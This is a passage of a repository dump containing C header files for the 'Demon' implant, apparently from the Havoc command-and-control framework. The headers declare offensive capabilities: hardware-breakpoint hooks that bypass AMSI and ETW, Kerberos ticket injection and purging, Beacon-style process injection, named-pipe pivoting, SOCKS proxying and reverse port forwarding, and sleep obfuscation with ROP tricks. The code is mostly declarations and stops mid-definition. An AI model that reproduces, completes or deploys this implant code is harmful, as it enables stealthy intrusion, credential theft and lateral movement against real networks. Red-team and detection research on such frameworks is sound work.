ULONG32 ID );\n\nPMEM_FILE MemFileReadChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize );\n\nBOOL RemoveMemFile( ULONG32 ID );\n\n/* Add a DataBlock to linked list */\nPMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize );\n\nPMEM_FILE ProcessMemFileChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/HwBpEngine.h",
    "content": "#ifndef DEMON_HWBPENGINE_H\n#define DEMON_HWBPENGINE_H\n\n#include <windows.h>\n#include <ntstatus.h>\n\ntypedef struct _BP_LIST\n{\n    DWORD Tid;\n    PVOID Address;\n    PVOID Function;\n    BYTE  Position;\n\n    /* next in the list */\n    struct _BP_LIST* Next;\n} BP_LIST, *PBP_LIST;\n\ntypedef struct _HWBP_ENGINE\n{\n    /* Veh (Vectored Exception Handling) handle */\n    HANDLE Veh;\n\n    /* first time adding hw bp. need to prepare register */\n    BYTE First;\n\n    /* list of breakpoints */\n    PBP_LIST Breakpoints;\n} HWBP_ENGINE, *PHWBP_ENGINE;\n\nNTSTATUS HwBpEngineInit(\n    OUT PHWBP_ENGINE Engine,\n    IN  PVOID        Exception\n);\n\nNTSTATUS HwBpEngineAdd(\n    IN PHWBP_ENGINE Engine,\n    IN DWORD        Tid,\n    IN PVOID        Address,\n    IN PVOID        Function,\n    IN BYTE         Position\n);\n\nNTSTATUS HwBpEngineRemove(\n    IN PHWBP_ENGINE Engine,\n    IN DWORD        Tid,\n    IN PVOID        Address\n);\n\nNTSTATUS HwBpEngineDestroy(\n    IN PHWBP_ENGINE Engine\n);\n\n#endif"
  },
  {
    "path": "payloads/Demon/include/core/HwBpExceptions.h",
    "content": "#ifndef DEMON_HWBPEXCEPTIONS_H\n#define DEMON_HWBPEXCEPTIONS_H\n\n#include <windows.h>\n\n#if defined( __x86_64__ ) || defined( _M_X64 )\n\n#define EXCEPTION_DUMP( e ) \\\n    PRINTF(                                                             \\\n        \"Exception:     \\n\"                                             \\\n        \" - Rip:  %p    \\n\"                                             \\\n        \" - Rax:  %p    \\n\"                                             \\\n        \" - Arg1: %p    \\n\"                                             \\\n        \" - Arg2: %p    \\n\"                                             \\\n        \" - Arg3: %p    \\n\"                                             \\\n        \" - Arg4: %p    \\n\"                                             \\\n        \" - Arg5: %p    \\n\"                                             \\\n        \" - Arg6: %p    \\n\",                                            \\\n        e->ContextRecord->Rip,                                          \\\n        e->ContextRecord->Rax,                                          \\\n        e->ContextRecord->Rcx,                                          \\\n        e->ContextRecord->Rdx,                                          \\\n        e->ContextRecord->R8,                                           \\\n        e->ContextRecord->R9,                                           \\\n        *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 5 ),    \\\n        *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 6 )     \\\n    )\n\n#define EXCEPTION_SET_RIP( e, p )   e->ContextRecord->Rip = p\n#define EXCEPTION_SET_RET( e, r )   e->ContextRecord->Rax = r\n#define EXCEPTION_RESUME( e )       e->ContextRecord->EFlags = ( 1 << 16 )\n#define EXCEPTION_GET_RET( e )      *( PVOID* ) ( e->ContextRecord->Rsp )\n#define EXCEPTION_ADJ_STACK( e, i ) e->ContextRecord->Rsp += i\n#define EXCEPTION_ARG_1( e )        ( e->ContextRecord->Rcx )\n#define EXCEPTION_ARG_2( e )        ( e->ContextRecord->Rdx )\n#define EXCEPTION_ARG_3( e )        ( e->ContextRecord->R8 )\n#define EXCEPTION_ARG_4( e )        ( e->ContextRecord->R9 )\n#define EXCEPTION_ARG_5( e )        *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 5 )\n#define EXCEPTION_ARG_6( e )        *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 6 )\n#define EXCEPTION_ARG_7( e )        *( PVOID* ) ( e->ContextRecord->Rsp + sizeof( PVOID ) * 7 )\n\n#elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)\n\n#define EXCEPTION_ARG_1( e )    *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 1 )\n#define EXCEPTION_ARG_2( e )    *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 2 )\n#define EXCEPTION_ARG_3( e )    *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 3 )\n#define EXCEPTION_ARG_4( e )    *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 4 )\n#define EXCEPTION_ARG_5( e )    *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 5 )\n#define EXCEPTION_ARG_6( e )    *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 6 )\n#define EXCEPTION_ARG_7( e )    *( PVOID* )( e->ContextRecord->Esp + sizeof( PVOID ) * 7 )\n\n#endif\n\nVOID HwBpExAmsiScanBuffer(\n    _Inout_ PEXCEPTION_POINTERS Exception\n);\n\nVOID HwBpExNtTraceEvent(\n    _Inout_ PEXCEPTION_POINTERS Exception\n);\n\n#endif //DEMON_HWBPEXCEPTIONS_H\n"
  },
  {
    "path": "payloads/Demon/include/core/Jobs.h",
    "content": "#ifndef DEMON_JOBS_HPP\n#define DEMON_JOBS_HPP\n\n#include <windows.h>\n\n#define JOB_TYPE_THREAD         0x1\n#define JOB_TYPE_PROCESS        0x2\n#define JOB_TYPE_TRACK_PROCESS  0x3\n\n#define JOB_STATE_RUNNING    0x1\n#define JOB_STATE_SUSPENDED  0x2\n#define JOB_STATE_DEAD       0x3\n\ntypedef struct _JOB_DATA\n{\n    UINT32            RequestID;\n    DWORD             JobID;\n    SHORT             Type;\n    SHORT             State;\n    HANDLE            Handle;\n    PVOID             Data;\n    struct _JOB_DATA* Next;\n} JOB_DATA, *PJOB_DATA;\n\n/*!\n * JobAdd\n * Adds a job to the job linked list\n * @param JobID\n * @param Type\n * @param State\n * @param Data\n * @return\n */\nVOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Handle, PVOID Data );\n\n/*!\n * Check if all jobs are still running and exists\n * @return\n */\nVOID JobCheckList();\n\n/*!\n * JobSuspend\n * Suspends the specified job\n * @param ThreadID\n * @return\n */\nBOOL JobSuspend( DWORD JobID );\n\n/*!\n * JobSuspend\n * Suspends the specified job\n * @param ThreadID\n * @return\n */\nBOOL JobResume( DWORD JobID );\n\n/*!\n * JobKill\n * Kills the specified job\n * @param ThreadID\n * @return\n */\nBOOL JobKill( DWORD JobID );\n\n/*!\n * JobRemove\n * Remove the specified job\n * @param ThreadID\n * @return\n */\nVOID JobRemove( DWORD JobID );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Kerberos.h",
    "content": "\n#ifndef DEMON_KERBEROS_H\n#define DEMON_KERBEROS_H\n\n//#include <ntsecapi.h>\n\n#define KERBEROS_COMMAND_LUID  0x0\n#define KERBEROS_COMMAND_KLIST 0x1\n#define KERBEROS_COMMAND_PURGE 0x2\n#define KERBEROS_COMMAND_PTT   0x3\n\n#define _KerbSubmitTicketMessage 21\n\n#define KERB_USE_DEFAULT_TICKET_FLAGS 0x0\n\n#define KERB_RETRIEVE_TICKET_DEFAULT 0x0\n#define KERB_RETRIEVE_TICKET_DONT_USE_CACHE 0x1\n#define KERB_RETRIEVE_TICKET_USE_CACHE_ONLY 0x2\n#define KERB_RETRIEVE_TICKET_USE_CREDHANDLE 0x4\n#define KERB_RETRIEVE_TICKET_AS_KERB_CRED 0x8\n#define KERB_RETRIEVE_TICKET_WITH_SEC_CRED 0x10\n#define KERB_RETRIEVE_TICKET_CACHE_TICKET 0x20\n\n#define FIELD_LENGTH 512\n\ntypedef struct _TICKET_INFORMATION {\n  WCHAR         ClientName[FIELD_LENGTH];\n  WCHAR         ClientRealm[FIELD_LENGTH];\n  WCHAR         ServerName[FIELD_LENGTH];\n  WCHAR         ServerRealm[FIELD_LENGTH];\n  LARGE_INTEGER StartTime;\n  LARGE_INTEGER EndTime;\n  LARGE_INTEGER RenewTime;\n  LONG          EncryptionType;\n  ULONG         TicketFlags;\n  BUFFER        Ticket;\n  struct _TICKET_INFORMATION* Next;\n} TICKET_INFORMATION,*PTICKET_INFORMATION;\n\ntypedef struct _SESSION_INFORMATION {\n  WCHAR               UserName[FIELD_LENGTH];\n  WCHAR               Domain[FIELD_LENGTH];\n  LUID                LogonId;\n  ULONG               Session;\n  WCHAR               UserSID[FIELD_LENGTH];\n  LARGE_INTEGER       LogonTime;\n  ULONG               LogonType;\n  WCHAR               AuthenticationPackage[FIELD_LENGTH];\n  WCHAR               LogonServer[FIELD_LENGTH];\n  WCHAR               LogonServerDNSDomain[FIELD_LENGTH];\n  WCHAR               Upn[FIELD_LENGTH];\n  PTICKET_INFORMATION Tickets;\n  struct _SESSION_INFORMATION* Next;\n} SESSION_INFORMATION,*PSESSION_INFORMATION;\n\ntypedef enum _KERB_PROTOCOL_MESSAGE_TYPE {\n  KerbDebugRequestMessage = 0,\n  KerbQueryTicketCacheMessage,\n  KerbChangeMachinePasswordMessage,\n  KerbVerifyPacMessage,\n  KerbRetrieveTicketMessage,\n  KerbUpdateAddressesMessage,\n  KerbPurgeTicketCacheMessage,\n  KerbChangePasswordMessage,\n  KerbRetrieveEncodedTicketMessage,\n  KerbDecryptDataMessage,\n  KerbAddBindingCacheEntryMessage,\n  KerbSetPasswordMessage,\n  KerbSetPasswordExMessage,\n  KerbAddExtraCredentialsMessage = 17,\n  KerbQueryTicketCacheExMessage,\n  KerbPurgeTicketCacheExMessage,\n  KerbRefreshSmartcardCredentialsMessage,\n  //KerbAddExtraCredentialsMessage = 17,\n  KerbQuerySupplementalCredentialsMessage,\n  KerbTransferCredentialsMessage,\n  KerbQueryTicketCacheEx2Message,\n  KerbSubmitTicketMessage,\n  KerbAddExtraCredentialsExMessage,\n  KerbQueryKdcProxyCacheMessage,\n  KerbPurgeKdcProxyCacheMessage,\n  KerbQueryTicketCacheEx3Message,\n  KerbCleanupMachinePkinitCredsMessage,\n  KerbAddBindingCacheEntryExMessage,\n  KerbQueryBindingCacheMessage,\n  KerbPurgeBindingCacheMessage,\n  KerbPinKdcMessage,\n  KerbUnpinAllKdcsMessage,\n  KerbQueryDomainExtendedPoliciesMessage,\n  KerbQueryS4U2ProxyCacheMessage,\n  KerbRetrieveKeyTabMessage,\n  KerbRefreshPolicyMessage,\n  KerbPrintCloudKerberosDebugMessage\n} KERB_PROTOCOL_MESSAGE_TYPE, *PKERB_PROTOCOL_MESSAGE_TYPE;\n\ntypedef struct KERB_CRYPTO_KEY {\n    LONG KeyType;\n    ULONG Length;\n    PUCHAR Value;\n} KERB_CRYPTO_KEY, *PKERB_CRYPTO_KEY;\n\ntypedef struct KERB_CRYPTO_KEY32 {\n    LONG KeyType;\n    ULONG Length;\n    ULONG Offset;\n} KERB_CRYPTO_KEY32, *PKERB_CRYPTO_KEY32;\n\ntypedef struct _KERB_SUBMIT_TKT_REQUEST {\n    KERB_PROTOCOL_MESSAGE_TYPE MessageType;\n    LUID LogonId;\n    ULONG Flags;\n    KERB_CRYPTO_KEY32 Key;\n    ULONG KerbCredSize;\n    ULONG KerbCredOffset;\n} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST;\n\ntypedef struct _KERB_PURGE_TKT_CACHE_REQUEST {\n  KERB_PROTOCOL_MESSAGE_TYPE MessageType;\n  LUID                       LogonId;\n  UNICODE_STRING             ServerName;\n  UNICODE_STRING             RealmName;\n} KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST;\n\ntypedef struct _KERB_TICKET_CACHE_INFO_EX {\n  UNICODE_STRING ClientName;\n  UNICODE_STRING ClientRealm;\n  UNICODE_STRING ServerName;\n  UNICODE_STRING ServerRealm;\n  LARGE_INTEGER StartTime;\n  LARGE_INTEGER EndTime;\n  LARGE_INTEGER RenewTime;\n  LONG EncryptionType;\n  ULONG TicketFlags;\n} KERB_TICKET_CACHE_INFO_EX,*PKERB_TICKET_CACHE_INFO_EX;\n\ntypedef struct _KERB_QUERY_TKT_CACHE_EX_RESPONSE {\n  KERB_PROTOCOL_MESSAGE_TYPE MessageType;\n  ULONG CountOfTickets;\n  KERB_TICKET_CACHE_INFO_EX Tickets[ANYSIZE_ARRAY];\n} KERB_QUERY_TKT_CACHE_EX_RESPONSE,*PKERB_QUERY_TKT_CACHE_EX_RESPONSE;\n\n#ifndef __SECHANDLE_DEFINED__\n  typedef struct _SecHandle {\n    ULONG_PTR dwLower;\n    ULONG_PTR dwUpper;\n  } SecHandle,*PSecHandle;\n\n#define __SECHANDLE_DEFINED__\n#endif\n\ntypedef struct _KERB_RETRIEVE_TKT_REQUEST {\n  KERB_PROTOCOL_MESSAGE_TYPE MessageType;\n  LUID LogonId;\n  UNICODE_STRING TargetName;\n  ULONG TicketFlags;\n  ULONG CacheOptions;\n  LONG EncryptionType;\n  SecHandle CredentialsHandle;\n} KERB_RETRIEVE_TKT_REQUEST,*PKERB_RETRIEVE_TKT_REQUEST;\n\ntypedef struct _KERB_EXTERNAL_NAME {\n  SHORT NameType;\n  USHORT NameCount;\n  UNICODE_STRING Names[ANYSIZE_ARRAY];\n} KERB_EXTERNAL_NAME,*PKERB_EXTERNAL_NAME;\n\ntypedef struct _KERB_EXTERNAL_TICKET {\n  PKERB_EXTERNAL_NAME ServiceName;\n  PKERB_EXTERNAL_NAME TargetName;\n  PKERB_EXTERNAL_NAME ClientName;\n  UNICODE_STRING DomainName;\n  UNICODE_STRING TargetDomainName;\n  UNICODE_STRING AltTargetDomainName;\n  KERB_CRYPTO_KEY SessionKey;\n  ULONG TicketFlags;\n  ULONG Flags;\n  LARGE_INTEGER KeyExpirationTime;\n  LARGE_INTEGER StartTime;\n  LARGE_INTEGER EndTime;\n  LARGE_INTEGER RenewUntil;\n  LARGE_INTEGER TimeSkew;\n  ULONG EncodedTicketSize;\n  PUCHAR EncodedTicket;\n} KERB_EXTERNAL_TICKET,*PKERB_EXTERNAL_TICKET;\n\ntypedef struct _KERB_RETRIEVE_TKT_RESPONSE {\n  KERB_EXTERNAL_TICKET Ticket;\n} KERB_RETRIEVE_TKT_RESPONSE,*PKERB_RETRIEVE_TKT_RESPONSE;\n\ntypedef struct _KERB_QUERY_TKT_CACHE_REQUEST {\n  KERB_PROTOCOL_MESSAGE_TYPE MessageType;\n  LUID                       LogonId;\n} KERB_QUERY_TKT_CACHE_REQUEST, *PKERB_QUERY_TKT_CACHE_REQUEST;\n\ntypedef struct _LOGON_SESSION_DATA {\n    PSECURITY_LOGON_SESSION_DATA* sessionData;\n    ULONG sessionCount;\n} LOGON_SESSION_DATA, *PLOGON_SESSION_DATA;\n\nBOOL                 Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid );\nBOOL                 Purge( HANDLE hToken, LUID luid );\nPSESSION_INFORMATION Klist( HANDLE hToken, LUID luid );\nLUID*                GetLUID( HANDLE hToken );\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Memory.h",
    "content": "#ifndef DEMON_MEMORY_H\n#define DEMON_MEMORY_H\n\n#include <common/Native.h>\n\ntypedef enum _DX_MEMORY\n{\n    DX_MEM_DEFAULT  = 0,\n    DX_MEM_WIN32    = 1,\n    DX_MEM_SYSCALL  = 2,\n} DX_MEMORY;\n\nPVOID MmHeapAlloc(\n    _In_ ULONG Length\n);\n\nPVOID MmHeapReAlloc(\n    _In_ PVOID Memory,\n    _In_ ULONG Length\n);\n\nBOOL MmHeapFree(\n    _In_ PVOID Memory\n);\n\nPVOID MmVirtualAlloc(\n    IN DX_MEMORY Method,\n    IN HANDLE    Process,\n    IN SIZE_T    Size,\n    IN DWORD     Protect\n);\n\nBOOL MmVirtualProtect(\n    IN DX_MEMORY Method,\n    IN HANDLE    Process,\n    IN PVOID     Memory,\n    IN SIZE_T    Size,\n    IN DWORD     Protect\n);\n\nBOOL MmVirtualWrite(\n    IN  HANDLE Process,\n    OUT PVOID  Memory,\n    IN  PVOID  Buffer,\n    IN  SIZE_T Size\n);\n\nBOOL MmVirtualFree(\n    IN  HANDLE Process,\n    OUT PVOID  Memory\n);\n\nPVOID MmGadgetFind(\n    _In_ PVOID  Memory,\n    _In_ SIZE_T Length,\n    _In_ PVOID  PatternBuffer,\n    _In_ SIZE_T PatternLength\n);\n\nBOOL FreeReflectiveLoader(\n    IN PVOID BaseAddress\n);\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/MiniStd.h",
    "content": "#ifndef DEMON_DSTDIO_H\n#define DEMON_DSTDIO_H\n\n#include <Demon.h>\n\n#define MemCopy         __builtin_memcpy\n#define MemSet          __stosb\n#define MemZero( p, l ) __stosb( p, 0, l )\n#define NO_INLINE       __attribute__ ((noinline))\n\nINT     StringCompareA( LPCSTR String1, LPCSTR String2 );\nINT     StringCompareW( LPWSTR String1, LPWSTR String2 );\nINT     StringNCompareW( LPWSTR String1, LPWSTR String2, INT Length );\nINT     StringNCompareIW( LPWSTR String1, LPWSTR String2, INT Length );\nPCHAR   StringCopyA( PCHAR String1, PCHAR String2 );\nPWCHAR  StringCopyW(PWCHAR String1, PWCHAR String2);\nSIZE_T  StringLengthA( LPCSTR String );\nSIZE_T  StringLengthW( LPCWSTR String );\nPCHAR   StringConcatA(PCHAR String, PCHAR String2);\nPWCHAR  StringConcatW(PWCHAR String, PWCHAR String2);\nPCHAR   StringTokenA(PCHAR String, CONST PCHAR Delim);\nLPWSTR  WcsStr( PWCHAR String, PWCHAR String2 );\nLPWSTR  WcsIStr( PWCHAR String, PWCHAR String2 );\nINT     MemCompare( PVOID s1, PVOID s2, INT len );\nUINT64  GetSystemFileTime( );\nBYTE    HideChar( BYTE C );\n\nSIZE_T  WCharStringToCharString( PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed );\nSIZE_T  CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/ObjectApi.h",
    "content": "#ifndef DEMON_OBJECTAPI_H\n#define DEMON_OBJECTAPI_H\n\n#include <windows.h>\n\ntypedef struct\n{\n    UINT_PTR    NameHash;\n    PVOID       Pointer;\n} COFFAPIFUNC;\n\nextern COFFAPIFUNC  BeaconApi[];\nextern DWORD        BeaconApiCounter;\nextern COFFAPIFUNC  LdrApi[];\nextern COFFAPIFUNC  NtApi[];\n\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_OUTPUT_UTF8 0x20\n\ntypedef struct {\n    PCHAR  original; /* the original buffer [so we can free it] */\n    PCHAR  buffer;   /* current pointer into our buffer */\n    INT    length;   /* remaining length of data */\n    INT    size;     /* total size of this buffer */\n} datap, *PDATA, *PFORMAT;\n\ntypedef struct {\n    char * ptr;\n    size_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\ntypedef struct {\n    char  * sleep_mask_ptr;\n    DWORD   sleep_mask_text_size;\n    DWORD   sleep_mask_total_size;\n\n    char  * beacon_ptr;\n    DWORD * sections;\n    HEAP_RECORD * heap_records;\n    char    mask[MASK_SIZE];\n} BEACON_INFO;\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n    int type;\n    DWORD64 hash;\n    BOOL masked;\n    char* buffer;\n    size_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nVOID    BeaconDataParse( PDATA parser, PCHAR  buffer, INT size );\nINT     BeaconDataInt( PDATA parser );\nSHORT   BeaconDataShort( PDATA parser );\nINT     BeaconDataLength( PDATA parser );\nPCHAR   BeaconDataExtract( PDATA parser, PINT size );\n\nVOID    BeaconFormatAlloc( PFORMAT format, INT maxsz );\nVOID    BeaconFormatReset( PFORMAT format );\nVOID    BeaconFormatFree( PFORMAT format );\nVOID    BeaconFormatAppend( PFORMAT format, PCHAR text, INT len );\nVOID    BeaconFormatPrintf( PFORMAT format, PCHAR fmt, ... );\nPCHAR   BeaconFormatToString( PFORMAT format, PINT size );\nVOID    BeaconFormatInt( PFORMAT format, INT value );\n\nVOID    BeaconPrintf( INT Type, PCHAR fmt, ... );\nVOID    BeaconOutput( INT Type, PCHAR data, INT len );\n\n/* Token Functions */\nBOOL    BeaconUseToken( HANDLE token );\nBOOL    BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nVOID    BeaconGetSpawnTo( BOOL x86, PCHAR  buffer, INT length );\nBOOL    BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo );\nVOID    BeaconInjectProcess( HANDLE hProc, INT pid, PCHAR  payload, INT p_len, INT p_offset, PCHAR  arg, INT a_len );\nVOID    BeaconInjectTemporaryProcess( PROCESS_INFORMATION * pInfo, PCHAR  payload, INT p_len, INT p_offset, PCHAR  arg, INT a_len );\nVOID    BeaconCleanupProcess( PROCESS_INFORMATION* pInfo );\n\n/* Utility Functions */\nBOOL   toWideChar( PCHAR src, PWCHAR dst, INT max );\nUINT32 swap_endianess( UINT32 indata );\n\nBOOL   GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID );\n\nVOID BeaconInformation(BEACON_INFO * info);\n\nBOOL BeaconAddValue(const char * key, void * ptr);\nPVOID BeaconGetValue(const char * key);\nBOOL BeaconRemoveValue(const char * key);\n\nPDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index);\nVOID BeaconDataStoreProtectItem(SIZE_T index);\nVOID BeaconDataStoreUnprotectItem(SIZE_T index);\nSIZE_T BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nPCHAR BeaconGetCustomUserData();\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Package.h",
    "content": "#ifndef CALLBACK_PACKAGE_H\n#define CALLBACK_PACKAGE_H\n\n#include <core/Command.h>\n\n#define DEMON_MAX_REQUEST_LENGTH 0x300000 // 3 MiB\n\ntypedef struct _PACKAGE {\n    UINT32  RequestID;\n    UINT32  CommandID;\n    PVOID   Buffer;\n    SIZE_T  Length;\n    BOOL    Encrypt;\n    BOOL    Destroy; /* destroy this package after Transmit */\n    BOOL    Included;\n\n    struct  _PACKAGE* Next;\n} PACKAGE, *PPACKAGE;\n\n/* Package generator */\nPPACKAGE PackageCreate( UINT32 CommandID );\nPPACKAGE PackageCreateWithMetaData( UINT32 CommandID );\nPPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID );\n\n/* PackageAddInt32\n * package => pointer to package response struct\n * dataInt => unsigned 32-bit integer data to add to the response\n * Description: Add unsigned 32-bit integer to the response buffer\n */\nVOID PackageAddInt32(\n    PPACKAGE package,\n    UINT32 iData\n);\n\nVOID PackageAddInt64(\n    PPACKAGE Package,\n    UINT64 dataInt\n);\n\nVOID PackageAddBool(\n    _Inout_ PPACKAGE Package,\n    IN     BOOLEAN  Data\n);\n\nVOID PackageAddPtr(\n    PPACKAGE Package,\n    PVOID pointer\n);\n\n// PackageAddBytes\nVOID PackageAddBytes(\n    PPACKAGE package,\n    PBYTE data,\n    SIZE_T dataSize\n);\n\nVOID PackageAddString(\n    PPACKAGE package,\n    PCHAR data\n);\n\nVOID PackageAddWString(\n    PPACKAGE package,\n    PWCHAR data\n);\n\n// PackageAddBytes\nVOID PackageAddPad(\n    PPACKAGE package,\n    PCHAR data,\n    SIZE_T dataSize\n);\n\n// PackageDestroy\nVOID PackageDestroy(\n    PPACKAGE package\n);\n\n// PackageTransmit\nBOOL PackageTransmitNow(\n    PPACKAGE Package,\n    PVOID*   Response,\n    PSIZE_T  Size\n);\n\n// PackageQueue\nVOID PackageTransmit(\n    IN PPACKAGE Package\n);\n\n// PackageQueue\nBOOL PackageTransmitAll(\n    PVOID*   Response,\n    PSIZE_T  Size\n);\n\nVOID PackageTransmitError(\n    UINT32 CommandID,\n    UINT32 ErrorCode\n);\n\n#define PACKAGE_ERROR_WIN32         PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n#define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( s ) );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Parser.h",
    "content": "#ifndef DEMON_PARSER_H\n#define DEMON_PARSER_H\n\n#include <windows.h>\n\ntypedef struct {\n    PCHAR   Original;\n    PCHAR   Buffer;\n    UINT32  Size;\n    UINT32  Length;\n\n    UINT32  TaskID;\n    BOOL    Endian;\n} PARSER, *PPARSER;\n\nVOID   ParserNew( PPARSER parser, PBYTE buffer, UINT32 size );\nVOID   ParserDecrypt( PPARSER parser, PBYTE Key, PBYTE IV );\nINT16  ParserGetInt16( PPARSER parser );\nBYTE   ParserGetByte( PPARSER parser );\nINT    ParserGetInt32( PPARSER parser );\nINT64  ParserGetInt64( PPARSER parser );\nBOOL   ParserGetBool( PPARSER parser );\nPBYTE  ParserGetBytes( PPARSER parser, PUINT32 size );\nPCHAR  ParserGetString( PPARSER parser, PUINT32 size );\nPWCHAR ParserGetWString( PPARSER parser, PUINT32 size );\nVOID   ParserDestroy( PPARSER Parser );\n\n#endif //DEMON_PARSER_H\n"
  },
  {
    "path": "payloads/Demon/include/core/Pivot.h",
    "content": "#ifndef DEMON_PIVOT_H\n#define DEMON_PIVOT_H\n\n#include <windows.h>\n\n#define MAX_SMB_PACKETS_PER_LOOP 30\n\ntypedef struct _PIVOT_DATA\n{\n    UINT32 DemonID;\n    BUFFER PipeName;\n    HANDLE Handle;\n\n    struct  _PIVOT_DATA* Next;\n} PIVOT_DATA, *PPIVOT_DATA;\n\nBOOL        PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize );\nBOOL        PivotRemove( DWORD DemonId );\nDWORD       PivotCount();\nPPIVOT_DATA PivotGet( DWORD AgentID );\nUINT32      PivotParseDemonID( PVOID Response, SIZE_T Size );\nVOID        PivotPush();\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/core/Process.h",
    "content": "#ifndef DEMON_PROCESS_H\n#define DEMON_PROCESS_H\n\n\n\n#endif //DEMON_PROCESS_H\n"
  },
  {
    "path": "payloads/Demon/include/core/Runtime.h",
    "content": "#ifndef DEMON_RUNTIME_H\n#define DEMON_RUNTIME_H\n\n#include <windows.h>\n\nBOOL RtAdvapi32(\n    VOID\n);\n\nBOOL RtMscoree(\n    VOID\n);\n\nBOOL RtOleaut32(\n    VOID\n);\n\nBOOL RtUser32(\n    VOID\n);\n\nBOOL RtShell32(\n    VOID\n);\n\nBOOL RtMsvcrt(\n    VOID\n);\n\nBOOL RtIphlpapi(\n    VOID\n);\n\nBOOL RtGdi32(\n    VOID\n);\n\nBOOL RtNetApi32(\n    VOID\n);\n\nBOOL RtWs2_32(\n    VOID\n);\n\nBOOL RtSspicli(\n    VOID\n);\n\nBOOL RtAmsi(\n    VOID\n);\n\n#ifdef TRANSPORT_HTTP\nBOOL RtWinHttp(\n    VOID\n);\n#endif\n\n#endif"
  },
  {
    "path": "payloads/Demon/include/core/SleepObf.h",
    "content": "\n#ifndef DEMON_SLEEPOBF_H\n#define DEMON_SLEEPOBF_H\n\n#include <windows.h>\n\n#define SLEEPOBF_NO_OBF  0x0\n#define SLEEPOBF_EKKO    0x1\n#define SLEEPOBF_ZILEAN  0x2\n#define SLEEPOBF_FOLIAGE 0x3\n\n#define SLEEPOBF_BYPASS_NONE 0\n#define SLEEPOBF_BYPASS_JMPRAX 0x1\n#define SLEEPOBF_BYPASS_JMPRBX 0x2\n\n#define OBF_JMP( i, p ) \\\n    if ( JmpBypass == SLEEPOBF_BYPASS_JMPRAX ) {    \\\n        Rop[ i ].Rax = U_PTR( p );                  \\\n    } if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) {  \\\n        Rop[ i ].Rbx = U_PTR( & p );                \\\n    } else {                                        \\\n        Rop[ i ].Rip = U_PTR( p );                  \\\n    }\n\ntypedef struct\n{\n    DWORD\tLength;\n    DWORD\tMaximumLength;\n    PVOID\tBuffer;\n} USTRING;\n\ntypedef struct _SLEEP_PARAM\n{\n    UINT32  TimeOut;\n    PVOID   Master;\n    PVOID   Slave;\n} SLEEP_PARAM, *PSLEEP_PARAM;\n\nVOID SleepObf( );\n\n#endif"
  },
  {
    "path": "payloads/Demon/include/core/Socket.h",
    "content": "#include <winsock2.h>\n\n#define SOCKET_TYPE_NONE                 0x0\n#define SOCKET_TYPE_REVERSE_PORTFWD      0x1\n#define SOCKET_TYPE_REVERSE_PROXY        0x2\n#define SOCKET_TYPE_CLIENT               0x3\n\n#define SOCKET_COMMAND_RPORTFWD_ADD      0x0\n#define SOCKET_COMMAND_RPORTFWD_ADDLCL   0x1\n#define SOCKET_COMMAND_RPORTFWD_LIST     0x2\n#define SOCKET_COMMAND_RPORTFWD_CLEAR    0x3\n#define SOCKET_COMMAND_RPORTFWD_REMOVE   0x4\n\n#define SOCKET_COMMAND_SOCKSPROXY_ADD    0x5\n#define SOCKET_COMMAND_SOCKSPROXY_LIST   0x6\n#define SOCKET_COMMAND_SOCKSPROXY_REMOVE 0x7\n#define SOCKET_COMMAND_SOCKSPROXY_CLEAR  0x8\n\n#define SOCKET_COMMAND_OPEN         0x10\n#define SOCKET_COMMAND_READ         0x11\n#define SOCKET_COMMAND_WRITE        0x12\n#define SOCKET_COMMAND_CLOSE        0x13\n#define SOCKET_COMMAND_CONNECT      0x14\n\n/* Errors */\n#define 